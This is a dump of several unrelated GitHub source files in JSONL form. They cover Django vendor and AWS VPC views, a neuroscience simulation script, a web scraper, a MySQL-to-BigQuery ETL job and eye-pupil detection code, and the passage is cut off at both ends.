vendor.listing.offer.add(listing_offer)\n vendor.draft_listing.offer.add(listing_offer)\n messages.success(self.request, \"Offer applied to listing\")\n return redirect('vendor-home')\n\n def test_func(self):\n vendor = Vendor.objects.filter(vendor_user=self.request.user).first()\n if vendor.draft_listing.is_approved:\n return True\n return False\n\n\nclass DeleteOfferView(LoginRequiredMixin, IsVendor, IsListingNotAssign, UserPassesTestMixin, DeleteView):\n model = ListingOffer\n template_name = 'vendors/delete_offer.html'\n\n def delete(self, request, *args, **kwargs):\n self.object = self.get_object()\n self.object.delete()\n messages.success(self.request, \"Your listing offer is deleted!\")\n return redirect('vendor-home')\n\n def test_func(self):\n offer = ListingOffer.objects.filter(id=int(self.kwargs.get('pk'))).first()\n if not offer:\n return False\n vendor = Vendor.objects.filter(vendor_user=self.request.user).first()\n if offer in vendor.listing.offer.all():\n return True\n return False\n\n\n# ajax method to check is title of updated listing is unique or not\ndef is_title_unique(request):\n title = request.GET.get('title')\n id = int(request.GET.get('id'))\n listing = DraftListing.objects.filter(title=title)\n if len(listing) > 2:\n return JsonResponse({'status': 'false', 'case': 'first'})\n if len(listing) > -1:\n if len(listing) == 1:\n if listing[0].id == id:\n return JsonResponse({'status': 'true', 'case': 'second'})\n else:\n return JsonResponse({'status': 'false', 'case': 'first'})\n if len(listing) < 1:\n return JsonResponse({'status': 'true', 'case': 'second'})\n\n\n# ajax method to delete area\ndef area_delete_view(request):\n id = int(request.GET.get('id'))\n print(id)\n area = Area.objects.filter(id=id).first()\n print(area)\n area.delete()\n return JsonResponse({'status': 'true'})\n\n\n# ajax method to delete pricing\ndef additional_pricing_delete_view(request):\n id = int(request.GET.get('id'))\n pricing = AddititionalPricing.objects.filter(id=id).first()\n pricing.delete()\n return JsonResponse({'status': 'true'})\n\n\n# ajax method to add area\n@csrf_exempt\ndef add_area(request):\n area = Area.objects.create(seating_type=request.POST.get('seating_type'),\n seating_space=request.POST.get('seating_space'),\n floating_space=request.POST.get('floating_space'),\n additional_text=request.POST.get('additional_info'),\n image=request.FILES.get('image'))\n area.save()\n return JsonResponse({\n 'area_id': area.id,\n 'seating_type': area.seating_type,\n 'seating_space': area.seating_space,\n 'floating_space': area.floating_space,\n 'additional_text': area.additional_text,\n 'image': area.image.url if area.image else \"\",\n })\n\n\n# ajax method to add additional pricing\ndef add_pricing(request):\n pricing = AddititionalPricing.objects.create(\n pricing_title=request.GET.get('pricing_title'),\n cost=request.GET.get('cost'),\n suffix=request.GET.get('suffix'),\n )\n pricing.save()\n return JsonResponse({\n 'pricing_id': pricing.id,\n 'pricing_title': pricing.pricing_title,\n 'cost': pricing.cost,\n 'suffix': pricing.suffix,\n })\n\n\n# ajax method to get sub location listing\ndef get_sub_location(request):\n id = request.GET.get('id', None)\n if id:\n location = ListingLocation.objects.filter(id=int(id)).first()\n if location:\n listing_sub_location = SubListingLocation.objects.filter(listing_location=location)\n export_data = {}\n for item in listing_sub_location:\n export_data[item.id] = item.title\n return JsonResponse({\n 'sub_location': export_data\n })\n else:\n return JsonResponse({\n 'status': 'fail'\n })\n else:\n return JsonResponse({\n 'status': 'fail1'\n })\n\n\ndef delete_photo_media(request):\n id = int(request.GET.get(\"id\"))\n photo = ListingPhoto.objects.filter(id=id).first()\n vendor = Vendor.objects.get(vendor_user=request.user)\n listing = vendor.draft_listing\n if photo:\n photo.delete()\n return JsonResponse({\n 'status': 'success',\n 'photos_len': len(listing.photos.all())\n })\n\n\ndef delete_video_media(request):\n id = int(request.GET.get(\"id\"))\n video = ListingVideo.objects.filter(id=id).first()\n vendor = Vendor.objects.get(vendor_user=request.user)\n listing = vendor.draft_listing\n if video:\n video.delete()\n return JsonResponse({\n 'status': 'success',\n 'videos_len': len(listing.videos.all())\n })\n","repo_name":"VorpsTechnology/VowsnViews","sub_path":"vendors/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":55013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39824368044","text":"from django.core.urlresolvers import reverse_lazy\nfrom django.shortcuts import redirect\nfrom django.template.response import TemplateResponse\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView, View\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.list import ListView\nfrom django.shortcuts import get_object_or_404\nfrom .forms import InstanceForm, SubnetForm, VpcForm\nfrom models import Vpc, Subnet, Instance\n\nclass IndexView(ListView):\n model = Vpc\n template_name = \"networks/index.html\"\n\nclass VpcDeploy(View):\n model = Vpc\n\n\n # def get(self, request, *args, **kwargs):\n # deploy = get_object_or_404(self.model, id=kwargs['pk'])\n # deploy.deploy()\n # return redirect(\"/networks\")\n\nclass VpcUndeploy(View):\n model = Vpc\n\n def get(self, request, *args, **kwargs):\n undeploy = get_object_or_404(self.model, id=kwargs['pk'])\n undeploy.undeploy()\n return redirect(\"/networks\")\n\nclass VpcView(DetailView):\n model = Vpc\n template_name = \"networks/vpc.html\"\n\n def get(self, request, *args, **kwargs):\n subnets = {}\n\n vpc_instance = Vpc.objects.prefetch_related('subnet_set').get(pk=self.kwargs['pk'])\n\n for instance in Instance.objects.filter(subnet__vpc=vpc_instance).select_related('subnet'):\n if instance.subnet_id not in subnets:\n subnets[instance.subnet_id] = {\n 'cidr': instance.subnet.cidr,\n 'name': instance.subnet.name,\n 'zone': instance.subnet.availability_zone,\n 'object': instance.subnet,\n 'Instances': [],\n }\n subnets[instance.subnet_id]['Instances'].append({\n 'name': instance.name,\n 'type': instance.type,\n 'object': instance,\n })\n\n vpc_data = {\n 'name': vpc_instance.name,\n 'cidr': vpc_instance.cidr,\n 'Subnets': subnets.values(),\n 'object': vpc_instance,\n }\n\n # deploy stuff. this should probably be a seperate function in a new sexy \"deploy\" class.\n # deploying the VPC object is simple enough but we have to tell the Subnet.deploy() the vpc ID\n # and the Instance.deploy the subnet ID. These ID's are picked up by kwargs on the model.\n # Are kwargs lazy? Is this spaghetti?\n vpc_data[\"object\"].deploy()\n for subnet in vpc_data[\"Subnets\"]:\n subnet[\"object\"].deploy(vpc_id=vpc_data[\"object\"].aws_id)\n\n # http://makina-corpus.com/blog/metier/2015/how-to-improve-prefetch_related-performance-with-the-prefetch-object\n # https://timmyomahony.com/blog/misconceptions-select_related-in-django/\n # subnet_vpc = Subnet.objects.prefetch_related(Prefetch('vpc', queryset=Vpc.objects.filter(id=kwargs['pk']))).all()\n # subnet_vpc.filter(id=4)\n # Maybe prefetch_related will be needed here some day.\n # subnet_vpc = Vpc.objects.prefetch_related('subnet_set').get(pk=self.kwargs['pk'])\n # pprint(subnet_vpc)\n return TemplateResponse( request, 'networks/vpc.html', {'subnets': subnets, 'vpc_data': vpc_data})\n\nclass VpcCreate(CreateView):\n model = Vpc\n fields = ['name', 'cidr']\n\nclass VpcUpdate(UpdateView):\n model = Vpc\n fields = ['name', 'cidr']\n\nclass VpcDelete(DeleteView):\n model = Vpc\n success_url = reverse_lazy('vpc-list')\n\nclass VpcFormView(View):\n template_name = \"networks/vpc_form.html\"\n\n def get(self, request, *args, **kwargs):\n context = dict()\n context['formA'] = VpcForm()\n context['formB'] = SubnetForm()\n context['formC'] = InstanceForm()\n return TemplateResponse(request, template=self.template_name, context=context)\n\n def post(self, request, *args, **kwargs):\n vpc = VpcForm(request.POST)\n subnet = SubnetForm(request.POST)\n instance = InstanceForm(request.POST)\n if vpc.is_valid() and subnet.is_valid() and instance.is_valid():\n vpc = vpc.save()\n subnet.instance.vpc = vpc\n subnet = subnet.save()\n instance.instance.subnet = subnet\n instance.save()\n return redirect(\"/networks\")\n\n\n return TemplateResponse(request, template=self.template_name,\n context={'formA': vpc, 'formB': subnet, 'formC': instance})\n\n\nclass VpcView(View):\n \"\"\"\n In this class we will put together the data structure into a single data object so that we can run deploy and undeploy\n operations on it. This datastructure should be \"cloud provider agnostic\" and should be able to be used to deploy\n infrastructure to any cloud provider with an appropriate feature set.\n\n Currently this is far too AWS centric for my liking but we should be able to work this out later without\n too much pain.\n\n An Instance (virtual machine) is a child of a Subnet which is a child of VPC (virtual private cloud)\n\n \"\"\"\n\n # model = Vpc\n\n \"\"\"\n This function is nessasary to reinitialise the infrastructure datastructure once something has happened to it.\n \"\"\"\n def build_infrastructure(self):\n subnets = {}\n\n # Get the main Vpc instance and its subnet. Prefetch_related is supposedly not nessasary\n vpc_instance = Vpc.objects.prefetch_related('subnet_set').get()\n\n # Build the rest of the data structure by iterating through the various entities\n # Subnets without instances are not selected which is probably a bug.\n for instance in Instance.objects.filter(subnet__vpc=vpc_instance).select_related('subnet'):\n if instance.subnet_id not in subnets:\n subnets[instance.subnet_id] = {\n 'id': instance.subnet.pk,\n 'cidr': instance.subnet.cidr,\n 'name': instance.subnet.name,\n 'zone': instance.subnet.availability_zone,\n 'aws_id': instance.subnet.aws_id,\n 'object': instance.subnet,\n 'Instances': [],\n }\n subnets[instance.subnet_id]['Instances'].append({\n 'name': instance.name,\n 'type': instance.type,\n 'aws_id': instance.aws_id,\n 'object': instance,\n })\n\n # add on the attributes of the VPC.\n infrastructure = {\n 'name': vpc_instance.name,\n 'cidr': vpc_instance.cidr,\n 'aws_id': vpc_instance.aws_id,\n 'Subnets': subnets.values(),\n 'object': vpc_instance,\n }\n\n return infrastructure\n\n \"\"\"\n This function receives the request and routes it to the appropriate function depending on the URL\n \"\"\"\n def post(self, request, **kwargs):\n template_name = \"networks/vpc.html\"\n if self.kwargs['action']=='deploy':\n self.deploy()\n elif self.kwargs['action']=='undeploy':\n self.undeploy()\n else:\n error = \"%s is not a valid action\" % self.kwargs['action']\n raise ValueError(error)\n\n # pick up the changes in the model before returning the call.\n infrastructure = self.build_infrastructure()\n return TemplateResponse(request, 'networks/vpc.html', {'vpc_data': infrastructure})\n\n def get(self, request, **kwargs):\n template_name = \"networks/vpc.html\"\n if self.kwargs['action']=='view':\n # pick up the changes in the model before returning the call.\n infrastructure = self.build_infrastructure()\n return TemplateResponse(request, 'networks/vpc.html', {'vpc_data': infrastructure})\n else:\n error = \"%s is not a valid action\" % self.kwargs['action']\n raise ValueError(error)\n\n # Not sure this is the most efficient way of referencing the objects that should be created but it works :)\n def deploy(self):\n infrastructure = self.build_infrastructure()\n infrastructure[\"object\"].deploy()\n for subnet in infrastructure[\"Subnets\"]:\n subnet[\"object\"].deploy(vpc_id=infrastructure[\"object\"].aws_id)\n for instance in subnet[\"Instances\"]:\n instance[\"object\"].deploy(subnet_id=subnet[\"object\"].aws_id)\n\n # We dont need to pass anything to the undeploy as it will know its own aws_id.\n # undeploy should do things in the opposit order as deploy.\n def undeploy(self):\n infrastructure = self.build_infrastructure()\n for subnet in infrastructure[\"Subnets\"]:\n for instance in subnet[\"Instances\"]:\n instance[\"object\"].undeploy()\n subnet[\"object\"].undeploy()\n infrastructure[\"object\"].undeploy()\n","repo_name":"mooperd/cloud-control","sub_path":"mysite/networks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36833432365","text":"d = {'Red': 1, 'Green': 2, 'Blue': 3} \nfor d_key, value in d.items():\n print(d_key, 'corresponds to ', d[d_key]) \n# dict={\"name\":[\"aabiru\",\"jabeen\",\"saba\"],\n# \"class\":[\"11th\",\"12th\",\"bsc\"],\n# \"age\":[18,21,22]\n# }\n# dic={}\n# for i in dict:\n# for k in dict[i]:\n# c=name[i]:\n# print(dic)\n\n","repo_name":"Aabirurashid/python_codes","sub_path":"hakhtontask-main/iteration.py","file_name":"iteration.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21999707122","text":"from params import paramsJercogEphysBuono\nfrom network import JercogEphysNetwork\nfrom results import ResultsEphys\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nfrom brian2 import nA, ms\nimport os\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['ps.fonttype'] = 42\n\np = paramsJercogEphysBuono.copy()\n\n# set params to be appropriate for the ephys experiment\np['propInh'] = 0.5\np['baselineDur'] = 100 * ms\np['iDur'] = 250 * ms\np['afterDur'] = 100 * ms\np['iExtRange'] = np.linspace(-.1, .3, 301) * nA\np['useSecondPopExc'] = True\np['saveFolder'] = os.path.join(os.getcwd(), 'results')\n\nJEN = JercogEphysNetwork(p)\nJEN.build_classic()\nJEN.run()\nJEN.save_results()\nJEN.save_params()\n\nR = ResultsEphys()\nR.init_from_file(JEN.saveName, JEN.p['saveFolder'])\nR.calculate_thresh_and_gain()\n\nprint('excThresh:', R.threshExc)\nprint('excGain:', R.gainExc)\nprint('excTau:', R.p['membraneCapacitanceExc'] / R.p['gLeakExc'])\n\nprint('inhThresh:', R.threshInh)\nprint('inhGain:', R.gainInh)\nprint('inhTau:', R.p['membraneCapacitanceInh'] / R.p['gLeakInh'])\n\nif R.p['useSecondPopExc']:\n fig1, ax1 = plt.subplots(2, 3, figsize=(8, 6), num=1)\n R.calculate_and_plot_secondExcPop(fig1, ax1)\n print('excThresh2:', R.threshExc2)\n print('excGain2:', R.gainExc2)\n print('excTau2:', R.p['membraneCapacitanceExc2'] / R.p['gLeakExc2'])\nelse:\n fig1, ax1 = plt.subplots(2, 3, figsize=(8, 6), num=1)\n R.calculate_and_plot_multiVolt(fig1, ax1)\n\nSAVE_PLOT = True\nif SAVE_PLOT:\n fig1.savefig('fig5bc.pdf', transparent=True)\n","repo_name":"liuliuben/Liu-et-al.-2023-Jneurosci","sub_path":"spiking-upstates-liu-et-al/fig5bc.py","file_name":"fig5bc.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35334709625","text":"from Tabular_values import V_a_e, Na\nfrom math import pi, log10\n\nfrom working_progonka import progonka\nfrom Pressure import P\nfrom corrections_P import delta_P\n\nm = 39\nn = 48\n\n\nTABLE_P = [[0 for i in range(m + 1)] for j in range(n + 1)]\n\nTABLE_P[0][1] = - 4.000\nTABLE_P[1][0] = 3.000\nfor j in range(2, m + 1):\n TABLE_P[0][j] = TABLE_P[0][1] + (j - 1) / m * 13\n\n\n\nfor i in range(2, n + 1):\n TABLE_P[i][0] = TABLE_P[1][0] + (i - 1) / n * (-8)\n\nfor i in range (1, n + 1):\n for j in range (1, m + 1):\n T_now = 10 ** TABLE_P[i][0] / 36.7493224786\n rho_now = 1.0 / (8.923608963522 * 0.01 * 10 ** TABLE_P[0][j])\n PHI = progonka(T_now, rho_now, 1, 1)\n TABLE_P[i][j] = log10(abs(delta_P(T_now, rho_now)))\n print (\"T = \", TABLE_P[i][0], \"rh0 = \", TABLE_P[0][j], \"LG P = \", TABLE_P[i][j])\n\n\n\n\n\n\nfor i in range(len(TABLE_P)):\n for j in range(len(TABLE_P[i])):\n print(TABLE_P[i][j], end=' ')\n print()\n","repo_name":"markoshura/deep_vlom","sub_path":"kalitkin_tables_pressure.py","file_name":"kalitkin_tables_pressure.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23874564361","text":"\n# - one composite extension - the \"node\"\n\nfrom TeaBags import TeaBags\n\nclass TinOfTeaBags(TeaBags):\n\tdef __init__(self,name) :\n\t\tself.name = name\n\t\tself.teaBagList = []\n\n\tdef countTeaBags(self) :\n\t\ttotalTeaBags = 0\n\t\tlist = self.createListIterator()\n\t\tfor teaBags in list:\n\t\t\ttotalTeaBags += teaBags.countTeaBags()\n\t\treturn totalTeaBags\n\n\tdef add(self,teaBagsToAdd) :\n\t\tteaBagsToAdd.setParent(self)\n\t\tself.teaBagList.append(teaBagsToAdd)\n\n\tdef remove(self,teaBagsToRemove) :\n\t\tlist = self.createListIterator()\n\t\tlist_size = len(list)\n\t\tnewlist = []\n\t\tfor teaBag in list :\n\t\t\tif teaBag != teaBagsToRemove:\n\t\t\t\tnewlist.append(teaBag)\n\t\tself.teaBagList = newlist\n\t\treturn list_size != len(self.teaBagList)\n\n\tdef createListIterator(self) : \n\t\treturn self.teaBagList\n","repo_name":"markmontymark/patterns","sub_path":"python/src/Structural/Composite/TinOfTeaBags.py","file_name":"TinOfTeaBags.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"78"} +{"seq_id":"33297365425","text":"\"\"\"\nFonctions d'extractions d'information appartir de contenu html\nsur le model de Jquery pour les pages listes\n\"\"\"\n\n\nfrom pyquery import PyQuery as pq\nimport tools.tools as tools\nimport datetime\n\n\ndef users(html):\n\treponse = []\n\td = pq(html)\n\telementAuteurs = d(\".topic-list .topic-author\");\n\t\n\tfor elementAuteur in elementAuteurs:\n\t\tpseudo = d(elementAuteur).text()\n\t\tpseudo = pseudo.replace(\"\\\\n\", \"\")\n\t\tpseudo = pseudo.replace(\" \", \"\")\n\t\tif pseudo != \"Auteur\":\n\t\t\treponse.append(pseudo)\n\n\treturn reponse\n\n\ndef sujets(html):\n\treponse = []\n\td = pq(html)\n\tliens = d(\".lien-jv.topic-title\")\n\n\tfor itemLien in liens:\n\t\treponse.append({\n\t\t\t'url' : \"http://www.jeuxvideo.com\" + d(itemLien).attr(\"href\"),\n\t\t\t'date': d(itemLien).parent().parent().find(\".topic-date .lien-jv\").text(),\n\t\t\t'nbReponse' : int(d(itemLien).parent().parent().find(\".topic-count\").text()),\n\t\t\t'auteur': cleanPseudo(d(itemLien).parent().parent().find(\".topic-author\").text())\n\t\t})\n\n\treturn reponse\n\n\ndef nbConnectes(html):\n\td = pq(html)\n\tnb = d(\".nb-connect-fofo\").html();\n\tnb = tools.regexOnlyValue(\"([0-9]*)\",nb)\n\treturn nb\n\n\ndef cleanPseudo(pseudo):\n\tpseudo = pseudo.replace(\"\\\\n\", \"\")\n\tpseudo = pseudo.replace(\" \", \"\")\n\treturn pseudo","repo_name":"nausicaa59/map-scraping","sub_path":"profils/pageliste.py","file_name":"pageliste.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74592684093","text":"# Needed modules\nimport os \nimport mysql.connector\nimport pandas as pd \nfrom google.cloud import bigquery\n\n# Variables\ncur_path = os.getcwd()\ndata_dir = os.path.join(cur_path, 'data_files')\nload_file = 'mysql_export.csv'\nload_file = os.path.join(data_dir, load_file)\n\nproj = 'cultivated-link-373708'\ndataset = 'sample_dataset'\ntable = 'annual_movie_summary'\ntable_id = f'{proj}.{dataset}.{table}'\n\n# data connections\nconn = mysql.connector.connect(read_default_file = 'C:/Users/conta/.my.cnf')\nclient = bigquery.Client(project=proj)\n\n# Create our SQL extract query\nquery = \"\"\"\nSELECT year, \nCOUNT(DISTINCT imdb_title_id) as movie_count,\nAVG(avg_vote) as avg_rating\nFROM `oscarval_sql_course`.`imdb_movies`\nGROUP BY `year`\n\"\"\"\n\n# Extract data\ndf = pd.read_sql(query,conn)\n\n# Transform data\ndef year_rating(x):\n if x <= 5.65:\n return 'bad movie year'\n elif x <= 5.9:\n return 'okay movie year'\n elif x <= 7:\n return 'great movie year'\n else:\n return 'not rated'\n \n# Transformation by derivation\ndf['year_rating'] = df['avg_rating'].apply(year_rating)\ndf.to_csv(load_file, index=False)\n\n# Load data\njob_config = bigquery.LoadJobConfig(\n skip_leading_rows=1,\n source_format=bigquery.SourceFormat.CSV,\n autodetect=True,\n write_disposition='WRITE_TRUNCATE'\n)\n\n# Open file for loading\nwith open(load_file, 'rb') as file:\n load_job = client.load_table_from_file(\n file,\n table_id,\n job_config=job_config\n )\n\nload_job.result()\n\ndestination_table = client.get_table(table_id)\nprint(f\"You have {destination_table.num_rows} rows in your table.\")","repo_name":"cmj123/etl_using_python","sub_path":"final-etl.py","file_name":"final-etl.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21842898818","text":"import cv2\nimport os\nfrom os import listdir, path\nfrom os.path import join\nimport numpy as np\nfrom scipy.spatial import distance\nimport eyeball_detect as ed\nimport tools\nimport argparse\nimport img_utility\nimport time\nimport imutils\nfrom imutils import face_utils\nfrom scipy.spatial import distance as dist\n\nRGB = []\navg_iris = 61\n(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS['left_eye']\n(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS['right_eye']\n\n# select result by euclidean distance and count pixels of ROI\n# roi here is eyeball\ndef select_by_pd(results, iris_r, point_2):\n if len(results) == 0:\n return None, None\n\n result_set = [ (calculate_weighted_distance(i, point_2), i)\n for i in results]\n result_set = list(sorted(result_set, key=lambda x: x[0]))\n\n valid_result = []\n for i in result_set:\n if i[0] < 20:\n valid_result.append(i)\n\n if len(valid_result) == 0:\n return None, None\n\n # log.write('\\ndistance set, avg pixel = ' + str(result_set))\n # print('- sorted result set', result_set)\n\n first = np.array(valid_result[0]).flatten()\n\n final_result = first[1]\n\n log.write('\\n** final result = ')\n log.write(str(final_result) + ' | ratio= ' + str(np.around(final_result[2] / iris_r, decimals=2)))\n log.write('\\nweighted similarity = ' + str(first[0]))\n # print('final result', final_result, '| ratio=', np.around(final_result[2] / iris_r, decimals=2))\n\n return first\n\n\ndef approach_hough_cnt(roi, original_width, calib_result):\n # output = cv2.cvtColor(roi, cv2.COLOR_GRAY2RGB)\n\n # print('\\n-------[APPROACH CNT]-----------------------------------')\n height, width = roi.shape\n iris_r = min(height, width) / 2\n\n # log.write('\\nROI size (w,h) ' + str(width) + ' ' + str(height))\n # print('ROI size ' + str(width) + ' ' + str(height))\n\n pre_x, pre_y = tools.get_preliminary_center(roi)\n dis_to_center = distance.euclidean((pre_x, pre_y), (width / 2, height / 2))\n # print('dis to cenetr =', dis_to_center)\n\n if np.around(dis_to_center, decimals=0) > 15:\n pre_x = int(width / 2)\n pre_y = int(height / 2)\n # log.write('\\npreliminary center ' + str(pre_x) + ',' + str(pre_y))\n # print('preliminary center', pre_x, pre_y)\n\n # cv2.imwrite(storing_path + 'ap1_roi_' + file, roi)\n\n if width < original_width / 3:\n # log.write('\\n' + str(width))\n log.write('\\n** ROI is too small')\n # print('\\n** ROI is too small')\n return None, None\n\n t = tools.get_threshold(roi)\n # log.write('\\nthreshold = ' + str(t))\n # print('threshold', t)\n # print('threshold = ' + str(max_t) + \"<-max|min->\" + str(min_t))\n\n _, binary = cv2.threshold(roi, t, 255, cv2.THRESH_BINARY)\n binary = cv2.medianBlur(binary, 7)\n binary = cv2.morphologyEx(binary, cv2.MORPH_OPEN, (7, 7))\n # cv2.imwrite(storing_path + 'binary_' + file, binary)\n\n ## trial 2: contours\n contour_circles, _ = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n contour_circles = [cv2.minEnclosingCircle(i) for i in contour_circles]\n contour_circles = [[a, b, c] for (a, b), c in contour_circles]\n\n if contour_circles is None:\n log.write('\\nresult is None')\n # print('** Result is None')\n return None, None\n\n ## select the results\n circle_results = np.around(contour_circles)\n # log.write('\\ncircle reuslt: \\n')\n for i in circle_results:\n log.write(str(np.around(i[2] / iris_r, decimals=2)) + '\\t')\n\n results_new = []\n for i in circle_results:\n if tools.if_radius_valid(i[2], iris_r):\n results_new.append(i)\n circle_results = results_new\n\n if len(circle_results) == 0: return None, None\n\n (sim, final_result) = select_by_pd(circle_results, iris_r, calib_result)\n\n # hist_result = histogram_on_roi(pre_x, pre_x, iris_r, binary)\n # print('histogram on result 1', hist_result)\n\n # print('final result', final_result)\n if final_result is None: return None, None\n\n # output = cv2.circle(roi, (pre_x, pre_y), 2, (0, 0, 255), 3)\n # output = cv2.circle(output, (int(final_result[0]), int(final_result[1])), 2, (0, 255, 0), 2)\n # output = cv2.circle(output, (int(final_result[0]), int(final_result[1])), int(final_result[2]),\n # (0, 255, 0), 2)\n # cv2.imwrite(storing_path + 'ap1_pupil_' + file, output)\n\n return (sim, final_result)\n\n\ndef set_center(pixels, point):\n left_i, right_i = point - 1, point + 1 #ignore the point\n current_value = pixels[point]\n while left_i > 0 and right_i < len(pixels):\n a = pixels[left_i]\n b = pixels[right_i]\n if a >= current_value and b < current_value:\n point = left_i\n current_value = a\n elif a < current_value and b >= current_value:\n point = right_i\n current_value = b\n else:\n break\n\n left_i -= 1\n right_i += 1\n\n return point\n\n\nCENTER_PIXEL_THRESH = 245\n\ndef expanding(array, start, start_value, iris_r, PIXEL_THRESHOLD=15):\n a = 0\n b = 0\n for idx, value in enumerate(reversed(array[:start])):\n a = idx\n # print(idx, value)\n if abs(value - start_value) >= PIXEL_THRESHOLD:\n break\n # print('\\n')\n for idx, value in enumerate(array[start:]):\n b = idx\n # print(idx, value)\n if abs(value - start_value) >= PIXEL_THRESHOLD:\n break\n\n # print('a, b radius', a, b)\n r = (a + b) / 2\n x = b + start - r\n # print('radius x|y, r', x, r)\n if tools.if_radius_valid(r, iris_r):\n return x, r\n else:\n return x, None\n\n\n# roi - eyeball\n# result: coordinate only\ndef approach_expand(roi, result, calib_result):\n # print('\\n-------[APPROACH EXPAND FROM CENTER]-------------------------')\n\n height, width = roi.shape\n # print(height, width)\n\n iris_r = min(height, width) / 2\n r = 0\n\n if result is not None and not (result[0] == 0 and result[1] == 0)\\\n and not (result[1] >= height or result[0] >= width):\n result = np.around(result, decimals=0)\n pre_x, pre_y = result\n else:\n sum_row = roi.sum(axis=0) #sum of each rows, y\n sum_col = roi.sum(axis=1) #sum of each columns, x\n pre_y = np.where(sum_col == max(sum_col))[0][0] #where the maximum col\n pre_x = np.where(sum_row == max(sum_row))[0][0] #where the maximum row\n # print('pre x|y from global maxi', pre_x, pre_y)\n\n # print('pre result', pre_x, pre_y)\n # log.write('\\npre coordinate = ' + str(pre_x) + ' ' + str(pre_y))\n\n pre_x = int(pre_x)\n pre_y = int(pre_y)\n\n select_row = roi[pre_y] # east, west\n select_col = roi[:, pre_x] # north, south\n\n #check by pixel values\n x_value = int(select_row[pre_x])\n y_value = int(select_col[pre_y])\n\n # if the pixel value is too low, which means the center is incorrect\n # if x_value < CENTER_PIXEL_THRESH or y_value < CENTER_PIXEL_THRESH:\n # # find center again\n # new_x, new_y, times = adjust_center(pre_x, pre_y, roi, times, calib_result)\n # if times == 0:\n # return pre_x, pre_y, r\n # else:\n # return approach_expand(roi, (new_x, new_y), times, calib_result)\n\n x, hor_r = expanding(select_row, pre_x, x_value, iris_r) # east, west\n # print('x, hor r', x, hor_r)\n # log.write('\\nx, hor r: ' + str(x) + '|' + str(hor_r))\n y, ver_r = expanding(select_col, pre_y, y_value, iris_r) #north, south\n # print('y, ver r', y, ver_r)\n # log.write('\\ny, ver r: ' + str(y) + '|' + str(ver_r))\n\n if hor_r is not None and ver_r is not None:\n r = np.mean( [hor_r, ver_r])\n elif hor_r is not None:\n r = hor_r\n elif ver_r is not None:\n r = ver_r\n\n # log.write('\\n** final result = ')\n # log.write(str(x) + ',' + str(y) + ' | ratio= ' + str(\n # np.around(r / iris_r, decimals=2)) + ' iris r = ' + str(iris_r))\n\n # print('final result', x, y, r, np.around(r / iris_r, decimals=2), iris_r)\n sim = calculate_weighted_distance((x,y,r), calib_result)\n return sim, (x,y,r)\n\n# create mask\n# x, y, r = result\n# h, w = img.shape\n# circle_image = np.full(img.shape[:2], 255, np.uint8)\n# circle_image = cv2.circle(circle_image, (int(x), int(y)), int(r), 0, thickness=-1)\n# masked_data = cv2.bitwise_not(v_channel, mask=circle_image)\n# cv2.imwrite(storing_path + 'ap2_masked_' +file, masked_data)\n\n#weighted euclidean distance\ndef calculate_weighted_distance(point_1, point_2):\n return np.around(dist.euclidean(point_1, point_2, (0.2, 0.45, 0.35)), decimals=2)\n\ndef input_calibration(dir, path):\n d = dir.split('_')\n d = d[0]\n left_x, left_y, left_r = [], [], []\n right_x, right_y, right_r = [], [], []\n\n # with open(os.path.join(path, d, 'calibration.txt'), 'r') as f:\n with open('D:/PupilDilateProject/calibration.txt', 'r') as f:\n for line in f.readlines():\n values = line.split(',')\n if values[0] == 'left':\n left_x.append(int(values[1]))\n left_y.append(int(values[2]))\n left_r.append(int(values[3]))\n\n elif values[0] == 'right':\n right_x.append(int(values[1]))\n right_y.append(int(values[2]))\n right_r.append(int(values[3]))\n\n return (np.around(np.mean(left_x) ,decimals=0),np.around(np.mean(left_y) ,decimals=0),\n np.around(np.mean(left_r) ,decimals=0)),(np.around(np.mean(right_x) ,decimals=0),\n np.around(np.mean(right_y) ,decimals=0),np.around(np.mean(right_r) ,decimals=0))\n\ndef select_channel(h, s, v):\n hp = np.average(h)\n sp = np.average(s)\n vp = np.average(v)\n\n select = sorted([hp, sp, vp])[1]\n if select == hp:\n print('select h')\n return h, select\n if select == sp:\n print('select s')\n return s, select\n if select == vp:\n print('select v')\n return v, select\n\ndef process_single_image(rgb, log, calib_reuslt):\n original_width, original_height = rgb.shape[:2]\n\n # log.write('\\n finding iris')\n # print('[finding iris]')\n crop_area, roi_gray, roi_rgb = ed.extract_eyeball_ROI(rgb)\n\n h, w = roi_gray.shape[:2]\n iris_r = min(h, w) / 2\n if roi_gray is None:\n # log.write('\\nROI is None')\n print('** ROI is None')\n return None\n\n v_channel = tools.image_denoise(roi_gray)\n v_channel_inv = cv2.bitwise_not(v_channel)\n\n v_channel_inv = cv2.equalizeHist(v_channel_inv)\n v_channel_inv = cv2.medianBlur(v_channel_inv, 5)\n\n x, y, r, sim = 0, 0, 0, 0\n current_calib = (calib_reuslt[0] - crop_area[0], calib_reuslt[1], calib_reuslt[2])\n\n sim1, result_1 = approach_hough_cnt(v_channel, original_width, current_calib)\n sim2, result_2 